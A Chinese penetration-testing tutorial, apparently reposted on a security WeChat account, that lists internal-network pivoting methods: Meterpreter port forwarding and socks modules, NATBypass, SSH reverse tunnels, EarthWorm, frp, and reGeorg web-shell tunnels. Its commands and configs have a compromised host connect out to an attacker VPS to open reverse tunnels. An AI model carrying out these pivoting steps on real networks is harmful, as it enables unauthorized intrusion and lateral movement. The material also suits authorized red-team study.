这篇文章列举出我用过的内网代理方法，也算是对内网渗透代理姿势的巩固，也方便日后查阅。

Meterpreter

Meterpreter可以说是渗透中用得较多的工具，在反弹了处于内网的目标shell之后，介绍两种代理方式。

portfwd

portfwd用于转发单个端口，当你目的性很强的情况下，比如只需要目标的3389端口等，这不失为一种较好的方法。

详细使用语法见：https://www.offensive-security.com/metasploit-unleashed/portfwd/

大致如下：

meterpreter > portfwd add –l 7003 –p 3389 –r 192.168.52.138
# 添加转发 -l：服务器监听端口  -p：内网主机需转发端口  -r：目标内网主机ip
meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191
# 删除转发
meterpreter > portfwd list
# 列出当前正在侦听和转发的端口列表
meterpreter > portfwd flush
# 移除所有转发端口

socks代理

socks代理只是tcp一层往上，如icmp、arp等就无法被代理。

msf中内置了三个socks代理模块，分别是socks4a、socks5、socks_unc。一般常使用 socks4a和socks5进行代理。其二者只是由于所支持的具体应用不同而存在差异。socks4只支持TCP协议而socks5支持TCP/UDP协议，还支持各种身份验证机制等协议，也就是说这里使用socks5的话还需要设置用户名与密码。

在获取shell的机器上添加路由

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.21.0/24
# 添加路由
meterpreter > run autoroute -p
# 显示路由
meterpreter > route flush 
# 删除

可以先通过arp扫描内网大概存活机器情况

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24

然后建立socks4代理，

meterpreter > background
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run

设置完成后配置proxychains，成功

socks5模块也同理，只是会多设置一个用户名与密码。

参考：

https://blog.csdn.net/qq_36119192/article/details/105872076

https://klionsec.github.io/2016/09/25/msf-socks4a/

NATBypass

NATBypass是一个端口转发工具，类似于lcx，称为golang版lcx，可编译为linux或windows版本。

具体原理大概就是公网vps监听两个本地端口，内网目标主机建立一个端口转发，比如将本地3389转发到公网vps的一个端口，vps监听的另一个端口就相当于内网主机3389。

公网vps

nb -listen 1997 2017

内网主机

nb -slave 127.0.0.1:3389 x.x.x.x:1997
# x.x.x.x是公网vps的IP

本机直接访问公网vps的2017端口即可实现远程内网主机。

ssh隧道

ssh可以端口转发或是建立socks5隧道。

公网主机建立SOCKS隧道

如果是具有公网地址的主机利用ssh建立socks5隧道就简单了：

ssh -N -f -D 9070 x.x.x.x

随后编辑本机/etc/proxychains.conf文件：

代理成功：

浏览器设置代理：

通过公网主机穿透两个内网

设想一下，你和目标主机分属不同的内网，从外界都无法直接连通。不过好在这两个内网都可以访问公网（JumpHost），你考虑通过一台公网机器建立两个内网之间的隧道。

在目标主机中执行：

ssh -qTfNn -R 2222:localhost:22 JumpHost

现在登录公网主机执行：

ssh -p 2222 localhost

达到的效果只是将目标主机的端口转发到了公网，但是并未实现socks代理，思考后，尝试了后都不成功，不知可行否，若有师傅告知非常感激！

参考：https://cherrot.com/tech/2017/01/08/ssh-tunneling-practice.html

Earthworm

简称EW，官方项目已停止更新，可在fork地址(https://github.com/z1un/ew)下载。

详细使用语法见：http://rootkiter.com/EarthWorm/

EW功能很强大，提供“正向”、“反向”、“多级级联”等方式打通隧道，更适用不同的操作系统，Linux、Windows、MacOS、Arm-Linux 。下面介绍一种简单的反向代理方法。

公网vps执行

./ew_for_linux64 -s rcsocks -l 7010 -e 7011

目标内网主机执行

.\ew_for_Win.exe -s rssocks -d x.x.x.x -e 7011
# windows
./ew_for_linux64 -s rssocks -d x.x.x.x -e 7011
# linux

本地攻击机即可通过proxychains或者浏览器设置socks5代理至公网vps的7011端口即可。

注：无意间浏览该工具作者的博客发现了该工具的新版本，http://rootkiter.com/Termite/ 还没来得及测试使用，先分享一下。

frp

frp作为反向代理工具胜在稳定，但是其依赖配置文件，溯源容易。

项目地址：https://github.com/fatedier/frp

可用于端口映射或打通socks隧道，下面介绍socks隧道代理

公网vps主机frps.ini文件

[common]
bind_port = 7000
token = password

启动frps

./frps -c ./frps.ini

目标内网主机frpc.ini文件

[common]
server_addr = x.x.x.x
server_port = 7000
token = password
[socks5]
type = tcp
remote_port = 7004
plugin = socks5

启动frpc

./frpc -c ./frpc.ini

本地攻击机修改/etc/prxoychains.conf配置文件即可

socks5  x.x.x.x 7004

基于web服务的socks5隧道

基于web服务的socks隧道使用方便，可用于突破网络限制。常用的工具有：reGeorg，reDuh，Tunna等。

使用方法都大致一样，上传对应网站语言的脚本文件到目标内网服务器，本地利用脚本连接建立socks5隧道即可。

比如reGeorg：

根据目标服务器解析语言，选择脚本上传到服务器端，访问显示Georg says, 'All seems fine'，表示脚本运行正常。

本地攻击主机运行

python2 reGeorgSocksProxy.py -p 7001 -u http://url/tunnel.php

监听7001端口，出现Georg says, 'All seems fine'字样表明运行正常。可结合prxoychains进行代理。

来源:https://xz.aliyun.com/t/8001

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

欢 迎 加 入 星 球 ！

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么？赶紧点击下方名片关注学习吧！

推荐阅读

干货｜史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明

由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号渗透安全团队及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！